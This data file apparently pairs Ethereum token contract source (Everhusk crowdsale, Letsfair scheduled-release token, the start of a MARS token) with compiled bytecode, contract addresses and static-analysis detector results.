@dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract EverhuskToken is MintableToken { string public constant name = "EverhuskToken"; string public constant symbol = "SUKH"; uint8 public constant decimals = 18; } contract EverhuskCrowdsale is Crowdsale { function EverhuskCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) Crowdsale(_startTime, _endTime, _rate, _wallet) { } function createTokenContract() internal returns (MintableToken) { return new EverhuskToken(); } }
0x6060604052361561008b5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416632c4e722e81146100985780633197cbb6146100bd5780634042b66f146100e2578063521eb2731461010757806378e9792514610136578063ec8ac4d81461015b578063ecb70fb714610171578063fc0c546a14610198575b5b610095336101c7565b5b005b34156100a357600080fd5b6100ab610315565b60405190815260200160405180910390f35b34156100c857600080fd5b6100ab61031b565b60405190815260200160405180910390f35b34156100ed57600080fd5b6100ab610321565b60405190815260200160405180910390f35b341561011257600080fd5b61011a610327565b604051600160a060020a03909116815260200160405180910390f35b341561014157600080fd5b6100ab610336565b60405190815260200160405180910390f35b610095600160a060020a03600435166101c7565b005b341561017c57600080fd5b61018461033c565b604051901515815260200160405180910390f35b34156101a357600080fd5b61011a610345565b604051600160a060020a03909116815260200160405180910390f35b600080600160a060020a03831615156101df57600080fd5b6101e7610354565b15156101f257600080fd5b60045434925061020990839063ffffffff61038516565b60055490915061021f908363ffffffff6103b416565b60055560008054600160a060020a0316906340c10f199085908490604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561029d57600080fd5b6102c65a03f115156102ae57600080fd5b505050604051805190505082600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18848460405191825260208201526040908101905180910390a361030f6103ce565b5b505050565b60045481565b60025481565b60055481565b600354600160a060020a031681565b60015481565b60025442115b90565b600054600160a060020a031681565b6000806000600154421015801561036d57506002544211155b91505034151581801561037d5750805b92505b505090565b60008282028315806103a1575082848281151561039e57fe5b04145b15156103a957fe5b8091505b5092915050565b6000828201838110156103a957fe5b8091505b5092915050565b600354600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561040257600080fd5b5b565b600061040f61042b565b604051809103906000f080151561042557600080fd5b90505b90565b604051610a2e8061043c83390190560060606040526003805460a060020a60ff02191690555b60038054600160a060020a03191633600160a060020a03161790555b5b6109ed806100416000396000f300606060405236156100cd5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100d257806306fdde03146100f9578063095ea7b31461018457806318160ddd146101ba57806323b872dd146101df578063313ce5671461021b57806340c10f191461024457806370a082311461027a5780637d64bcb4146102ab5780638da5cb5b146102d257806395d89b4114610301578063a9059cbb1461038c578063dd62ed3e146103c2578063f2fde38b146103f9575b600080fd5b34156100dd57600080fd5b6100e561041a565b604051901515815260200160405180910390f35b341561010457600080fd5b61010c61043b565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101495780820151818401525b602001610130565b50505050905090810190601f1680156101765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018f57600080fd5b6100e5600160a060020a0360043516602435610472565b604051901515815260200160405180910390f35b34156101c557600080fd5b6101cd610519565b60405190815260200160405180910390f35b34156101ea57600080fd5b6100e5600160a060020a036004358116906024351660443561051f565b604051901515815260200160405180910390f35b341561022657600080fd5b61022e610634565b60405160ff909116815260200160405180910390f35b341561024f57600080fd5b6100e5600160a060020a0360043516602435610639565b604051901515815260200160405180910390f35b341561028557600080fd5b6101cd600160a060020a036004351661075a565b60405190815260200160405180910390f35b34156102b657600080fd5b6100e5610779565b604051901515815260200160405180910390f35b34156102dd57600080fd5b6102e5610800565b604051600160a060020a03909116815260200160405180910390f35b341561030c57600080fd5b61010c61080f565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101495780820151818401525b602001610130565b50505050905090810190601f1680156101765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561039757600080fd5b6100e5600160a060020a0360043516602435610846565b604051901515815260200160405180910390f35b34156103cd57600080fd5b6101cd600160a060020a0360043581169060243516610906565b60405190815260200160405180910390f35b341561040457600080fd5b610418600160a060020a0360043516610933565b005b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052600d81527f457665726875736b546f6b656e00000000000000000000000000000000000000602082015281565b60008115806104a45750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b15156104af57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60005481565b600160a060020a038084166000908152600260209081526040808320338516845282528083205493861683526001909152812054909190610566908463ffffffff61099016565b600160a060020a03808616600090815260016020526040808220939093559087168152205461059b908463ffffffff6109aa16565b600160a060020a0386166000908152600160205260409020556105c4818463ffffffff6109aa16565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b509392505050565b601281565b60035460009033600160a060020a0390811691161461065757600080fd5b60035474010000000000000000000000000000000000000000900460ff161561067f57600080fd5b600054610692908363ffffffff61099016565b6000908155600160a060020a0384168152600160205260409020546106bd908363ffffffff61099016565b600160a060020a0384166000818152600160205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a282600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060015b5b5b92915050565b600160a060020a0381166000908152600160205260409020545b919050565b60035460009033600160a060020a0390811691161461079757600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a15060015b5b90565b600354600160a060020a031681565b60408051908101604052600481527f53554b4800000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03331660009081526001602052604081205461086f908363ffffffff6109aa16565b600160a060020a0333811660009081526001602052604080822093909355908516815220546108a4908363ffffffff61099016565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60035433600160a060020a0390811691161461094e57600080fd5b600160a060020a038116151561096357600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60008282018381101561099f57fe5b8091505b5092915050565b6000828211156109b657fe5b508082035b929150505600a165627a7a7230582083e7d8c357318158c73e566626c20aed46af5132daf43dac8011ae3309d7486a0029a165627a7a72305820103cbcd0480131b7dd35657256408e52f2a01cf2c64029947dee92cea193f4050029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,617
0x411A81C8Cd604941be13dBBD33B54e6f25d84683
// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SchedulableToken * @dev The SchedulableToken provide a method to create tokens progressively, in a gradual * and programed way, until a specified date and amount. To effectively create tokens, it * is necessary for someone to periodically run the release() function in the contract. * For example: You want to create a total of 1000 tokens (maxSupply) spread over 2 years (duration). * In this way, when calling the release() function, the number of tokens that are entitled at * that moment will be added to the beneficiary&#39;s wallet. In this scenario, by running the * release() function every day at the same time over 2 years, the beneficiary will receive * 1.37 tokens (1000 / 364.25 * 2) everyday. * @author Anselmo Zago (<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="8cede2ffe9e0e1e3cce0e9f8ffeaede5fea2e3feeb">[email&#160;protected]</a>), based in TokenVesting by Zeppelin Solidity library. */ contract SchedulableToken is StandardToken, BurnableToken { using SafeMath for uint256; event Released(uint256 amount); address public beneficiary; uint256 public maxSupply; uint256 public start; uint256 public duration; /** * @dev Constructor of the SchedulableToken contract that releases the tokens gradually and * programmatically. The balance will be assigned to _beneficiary in the maximum amount of * _maxSupply, divided proportionally during the _duration period. * @param _beneficiary address of the beneficiary to whom schedulable tokens will be added * @param _maxSupply schedulable token max supply * @param _duration duration in seconds of the period in which the tokens will released */ function SchedulableToken(address _beneficiary, uint256 _maxSupply, uint256 _duration) public { require(_beneficiary != address(0)); require(_maxSupply > 0); require(_duration > 0); beneficiary = _beneficiary; maxSupply = _maxSupply; duration = _duration; start = now; } /** * @notice Transfers schedulable tokens to beneficiary. */ function release() public { uint256 amount = calculateAmountToRelease(); require(amount > 0); balances[beneficiary] = balances[beneficiary].add(amount); totalSupply = totalSupply.add(amount); Released(amount); } /** * @dev Calculates the amount of tokens by right, until that moment. */ function calculateAmountToRelease() public view returns (uint256) { if (now < start.add(duration)) { return maxSupply.mul(now.sub(start)).div(duration).sub(totalSupply); } else { return schedulableAmount(); } } /** * @dev Returns the total amount that still to be released by the end of the duration. */ function schedulableAmount() public view returns (uint256) { return maxSupply.sub(totalSupply); } /** * @dev Overridden the BurnableToken burn() function to also correct maxSupply. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { super.burn(_value); maxSupply = maxSupply.sub(_value); } } /** * @title Letsfair Token (LTF) * @dev LetsfairToken contract implements the ERC20 with the StandardToken functions. * The token&#39;s creation is realize in a gradual and programmatic way, distributed * proportionally over a predefined period, specified by SchedulableToken. * @author Anselmo Zago (<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="73121d00161f1e1c331f16070015121a015d1c0114">[email&#160;protected]</a>) */ contract LetsfairToken is SchedulableToken { string public constant name = "Letsfair"; string public constant symbol = "LTF"; uint8 public constant decimals = 18; address _beneficiary = 0xe0F158B382F30A1eccecb5B67B1cf7EB92B5f1E4; uint256 _maxSupply = 10 ** 27; // 1 billion with decimals uint256 _duration = 157788000; // ~5 years in seconds function LetsfairToken() SchedulableToken(_beneficiary, _maxSupply, _duration) public {} }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c578063095ea7b31461019a5780630fb5a6b4146101f457806310c3b15f1461021d57806318160ddd1461024657806323b872dd1461026f578063313ce567146102e857806338af3eed1461031757806342966c681461036c578063453e6fa01461038f57806366188463146103b857806370a082311461041257806386d1a69f1461045f57806395d89b4114610474578063a9059cbb14610502578063be9a65551461055c578063d5abeb0114610585578063d73dd623146105ae578063dd62ed3e14610608575b600080fd5b341561011757600080fd5b61011f610674565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015f578082015181840152602081019050610144565b50505050905090810190601f16801561018c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a557600080fd5b6101da600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106ad565b604051808215151515815260200191505060405180910390f35b34156101ff57600080fd5b61020761079f565b6040518082815260200191505060405180910390f35b341561022857600080fd5b6102306107a5565b6040518082815260200191505060405180910390f35b341561025157600080fd5b61025961082b565b6040518082815260200191505060405180910390f35b341561027a57600080fd5b6102ce600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610831565b604051808215151515815260200191505060405180910390f35b34156102f357600080fd5b6102fb610bf0565b604051808260ff1660ff16815260200191505060405180910390f35b341561032257600080fd5b61032a610bf5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561037757600080fd5b61038d6004808035906020019091905050610c1b565b005b341561039a57600080fd5b6103a2610c42565b6040518082815260200191505060405180910390f35b34156103c357600080fd5b6103f8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c60565b604051808215151515815260200191505060405180910390f35b341561041d57600080fd5b610449600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef1565b6040518082815260200191505060405180910390f35b341561046a57600080fd5b610472610f3a565b005b341561047f57600080fd5b610487611083565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c75780820151818401526020810190506104ac565b50505050905090810190601f1680156104f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561050d57600080fd5b610542600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110bc565b604051808215151515815260200191505060405180910390f35b341561056757600080fd5b61056f6112e0565b6040518082815260200191505060405180910390f35b341561059057600080fd5b6105986112e6565b6040518082815260200191505060405180910390f35b34156105b957600080fd5b6105ee600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112ec565b604051808215151515815260200191505060405180910390f35b341561061357600080fd5b61065e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114e8565b6040518082815260200191505060405180910390f35b6040805190810160405280600881526020017f4c6574736661697200000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b60006107be60065460055461156f90919063ffffffff16565b42101561081d576108166000546108086006546107fa6107e96005544261158d90919063ffffffff16565b6004546115a690919063ffffffff16565b6115e190919063ffffffff16565b61158d90919063ffffffff16565b9050610828565b610825610c42565b90505b90565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561086e57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108bc57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561094757600080fd5b61099982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a2e82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610c24816115fc565b610c398160045461158d90919063ffffffff16565b60048190555050565b6000610c5b60005460045461158d90919063ffffffff16565b905090565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d71576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e05565b610d84838261158d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610f446107a5565b9050600081111515610f5557600080fd5b610fc98160016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156f90919063ffffffff16565b60016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110438160005461156f90919063ffffffff16565b6000819055507ffb81f9b30d73d830c3544b34d827c08142579ee75710b490bab0b3995468c565816040518082815260200191505060405180910390a150565b6040805190810160405280600381526020017f4c5446000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110f957600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561114757600080fd5b61119982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061122e82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60055481565b60045481565b600061137d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015151561158357fe5b8091505092915050565b600082821115151561159b57fe5b818303905092915050565b60008060008414156115bb57600091506115da565b82840290508284828115156115cc57fe5b041415156115d657fe5b8091505b5092915050565b60008082848115156115ef57fe5b0490508091505092915050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561164c57600080fd5b3390506116a182600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158d90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f98260005461158d90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a250505600a165627a7a7230582003298b6832660697abc934319140fbcde6f6f74ade5c1aa7cd1b2ac58a99deba0029
{"success": true, "error": null, "results": {}}
3,618
0x4679Ea96F15a4742274dc72e1a58E01AF333D302
/** *Submitted for verification at Etherscan.io on 2021-06-14 */ /* ███╗░░░███╗░█████╗░██████╗░░██████╗ ████╗░████║██╔══██╗██╔══██╗██╔════╝ ██╔████╔██║███████║██████╔╝╚█████╗░ ██║╚██╔╝██║██╔══██║██╔══██╗░╚═══██╗ ██║░╚═╝░██║██║░░██║██║░░██║██████╔╝ ╚═╝░░░░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░ *///https://t.me/marsproject1 // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory 